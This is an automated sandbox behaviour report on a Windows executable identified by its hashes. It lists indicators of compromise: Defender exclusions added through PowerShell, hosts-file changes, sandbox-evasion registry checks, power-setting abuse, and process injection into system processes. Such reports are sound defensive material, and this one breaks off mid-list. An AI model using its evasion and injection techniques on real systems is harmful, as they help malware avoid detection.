Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-11-2024 13:12
Static task
static1
Behavioral task
behavioral1
Sample
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
Resource
win10v2004-20241007-en
General
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Target
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
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Size
15.9MB
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MD5
d3c16cede9b6e4ee304a0184328d313d
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SHA1
bd82838a3cc343956ecce4d5051b510dd941de11
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SHA256
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c
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SHA512
284c38ba1a8ce4120120eb89a8e17bcbb6c3d18874c189d65812e767a111883813163ab614d5de802b5ee2fe774143a84017399508c24ac061029828d3046f6b
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SSDEEP
393216:fwibRRlK6/C+1ZDpHKG1cVWNEtW5I+L11k2OEin:f7RllK+LlaaSW5zL1ypEin
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 1684 created 616 1684 powershell.EXE winlogon.exe PID 3984 created 616 3984 powershell.EXE winlogon.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepowershell.EXEpowershell.EXEpid process 1780 powershell.exe 3244 powershell.exe 1684 powershell.EXE 3984 powershell.EXE -
Creates new service(s) 2 TTPs
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Drops file in Drivers directory 2 IoCs
Processes:
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exeupdater.exedescription ioc process File created C:\Windows\system32\drivers\etc\hosts e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe File created C:\Windows\system32\drivers\etc\hosts updater.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2744 updater.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
Processes:
powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepid process 3476 powercfg.exe 3196 powercfg.exe 3696 powercfg.exe 3236 powercfg.exe 2972 powercfg.exe 1364 powercfg.exe 3348 powercfg.exe 2920 powercfg.exe -
Drops file in System32 directory 15 IoCs
Processes:
svchost.exepowershell.EXEsvchost.exeupdater.exepowershell.exepowershell.EXEe4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exeOfficeClickToRun.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Tasks\dialersvc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\MRT.exe updater.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\MRT.exe e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 6 IoCs
Processes:
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.EXEupdater.exepowershell.EXEdescription pid process target process PID 4116 set thread context of 1912 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe dialer.exe PID 1684 set thread context of 3396 1684 powershell.EXE dllhost.exe PID 2744 set thread context of 1152 2744 updater.exe dialer.exe PID 2744 set thread context of 4116 2744 updater.exe dialer.exe PID 2744 set thread context of 4456 2744 updater.exe dialer.exe PID 3984 set thread context of 3604 3984 powershell.EXE dllhost.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 4448 sc.exe 1944 sc.exe 5112 sc.exe 4932 sc.exe 1924 sc.exe 4228 sc.exe 4404 sc.exe 1272 sc.exe 3972 sc.exe 556 sc.exe 1628 sc.exe 2180 sc.exe 4112 sc.exe 1700 sc.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
svchost.exepowershell.EXEpowershell.exepowershell.EXEOfficeClickToRun.exedialer.exesvchost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 21 Nov 2024 13:13:51 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dialer.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.exepowershell.EXEupdater.exepowershell.exedllhost.exepid process 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 1780 powershell.exe 1780 powershell.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe 1684 powershell.EXE 1684 powershell.EXE 2744 updater.exe 2744 updater.exe 2744 updater.exe 1684 powershell.EXE 3244 powershell.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3244 powershell.exe 3396 dllhost.exe 3396 dllhost.exe 3244 powershell.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3244 powershell.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3244 powershell.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe 3396 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.EXEpowershell.exedllhost.exepowercfg.exedialer.exepowercfg.exepowercfg.exepowercfg.exepowershell.EXEsvchost.exedescription pid process Token: SeDebugPrivilege 1780 powershell.exe Token: SeShutdownPrivilege 2920 powercfg.exe Token: SeCreatePagefilePrivilege 2920 powercfg.exe Token: SeShutdownPrivilege 3476 powercfg.exe Token: SeCreatePagefilePrivilege 3476 powercfg.exe Token: SeShutdownPrivilege 3196 powercfg.exe Token: SeCreatePagefilePrivilege 3196 powercfg.exe Token: SeShutdownPrivilege 3348 powercfg.exe Token: SeCreatePagefilePrivilege 3348 powercfg.exe Token: SeDebugPrivilege 1684 powershell.EXE Token: SeDebugPrivilege 1684 powershell.EXE Token: SeDebugPrivilege 3244 powershell.exe Token: SeDebugPrivilege 3396 dllhost.exe Token: SeShutdownPrivilege 3696 powercfg.exe Token: SeCreatePagefilePrivilege 3696 powercfg.exe Token: SeLockMemoryPrivilege 4456 dialer.exe Token: SeShutdownPrivilege 3236 powercfg.exe Token: SeCreatePagefilePrivilege 3236 powercfg.exe Token: SeShutdownPrivilege 1364 powercfg.exe Token: SeCreatePagefilePrivilege 1364 powercfg.exe Token: SeShutdownPrivilege 2972 powercfg.exe Token: SeCreatePagefilePrivilege 2972 powercfg.exe Token: SeDebugPrivilege 3984 powershell.EXE Token: SeAssignPrimaryTokenPrivilege 2308 svchost.exe Token: SeIncreaseQuotaPrivilege 2308 svchost.exe Token: SeSecurityPrivilege 2308 svchost.exe Token: SeTakeOwnershipPrivilege 2308 svchost.exe Token: SeLoadDriverPrivilege 2308 svchost.exe Token: SeSystemtimePrivilege 2308 svchost.exe Token: SeBackupPrivilege 2308 svchost.exe Token: SeRestorePrivilege 2308 svchost.exe Token: SeShutdownPrivilege 2308 svchost.exe Token: SeSystemEnvironmentPrivilege 2308 svchost.exe Token: SeUndockPrivilege 2308 svchost.exe Token: SeManageVolumePrivilege 2308 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2308 svchost.exe Token: SeIncreaseQuotaPrivilege 2308 svchost.exe Token: SeSecurityPrivilege 2308 svchost.exe Token: SeTakeOwnershipPrivilege 2308 svchost.exe Token: SeLoadDriverPrivilege 2308 svchost.exe Token: SeSystemtimePrivilege 2308 svchost.exe Token: SeBackupPrivilege 2308 svchost.exe Token: SeRestorePrivilege 2308 svchost.exe Token: SeShutdownPrivilege 2308 svchost.exe Token: SeSystemEnvironmentPrivilege 2308 svchost.exe Token: SeUndockPrivilege 2308 svchost.exe Token: SeManageVolumePrivilege 2308 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2308 svchost.exe Token: SeIncreaseQuotaPrivilege 2308 svchost.exe Token: SeSecurityPrivilege 2308 svchost.exe Token: SeTakeOwnershipPrivilege 2308 svchost.exe Token: SeLoadDriverPrivilege 2308 svchost.exe Token: SeSystemtimePrivilege 2308 svchost.exe Token: SeBackupPrivilege 2308 svchost.exe Token: SeRestorePrivilege 2308 svchost.exe Token: SeShutdownPrivilege 2308 svchost.exe Token: SeSystemEnvironmentPrivilege 2308 svchost.exe Token: SeUndockPrivilege 2308 svchost.exe Token: SeManageVolumePrivilege 2308 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2308 svchost.exe Token: SeIncreaseQuotaPrivilege 2308 svchost.exe Token: SeSecurityPrivilege 2308 svchost.exe Token: SeTakeOwnershipPrivilege 2308 svchost.exe Token: SeLoadDriverPrivilege 2308 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exee4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.EXEdllhost.exedescription pid process target process PID 2080 wrote to memory of 2388 2080 cmd.exe wusa.exe PID 2080 wrote to memory of 2388 2080 cmd.exe wusa.exe PID 4116 wrote to memory of 1912 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe dialer.exe PID 4116 wrote to memory of 1912 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe dialer.exe PID 4116 wrote to memory of 1912 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe dialer.exe PID 4116 wrote to memory of 1912 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe dialer.exe PID 4116 wrote to memory of 1912 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe dialer.exe PID 4116 wrote to memory of 1912 4116 e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe dialer.exe PID 1684 wrote to memory of 3396 1684 powershell.EXE dllhost.exe PID 1684 wrote to memory of 3396 1684 powershell.EXE dllhost.exe PID 1684 wrote to memory of 3396 1684 powershell.EXE dllhost.exe PID 1684 wrote to memory of 3396 1684 powershell.EXE dllhost.exe PID 1684 wrote to memory of 3396 1684 powershell.EXE dllhost.exe PID 1684 wrote to memory of 3396 1684 powershell.EXE dllhost.exe PID 1684 wrote to memory of 3396 1684 powershell.EXE dllhost.exe PID 1684 wrote to memory of 3396 1684 powershell.EXE dllhost.exe PID 3396 wrote to memory of 616 3396 dllhost.exe winlogon.exe PID 3396 wrote to memory of 676 3396 dllhost.exe lsass.exe PID 3396 wrote to memory of 956 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 384 3396 dllhost.exe dwm.exe PID 3396 wrote to memory of 744 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 952 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1056 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1076 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1172 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1224 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1236 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1244 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1352 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1388 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1436 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1448 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1528 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1592 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1660 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1672 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1768 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1792 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1916 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1964 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2012 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2040 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1728 3396 dllhost.exe spoolsv.exe PID 3396 wrote to memory of 2128 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2248 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2308 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2336 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2344 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2432 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2504 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2520 3396 dllhost.exe sysmon.exe PID 3396 wrote to memory of 2532 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2548 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 2884 3396 dllhost.exe unsecapp.exe PID 3396 wrote to memory 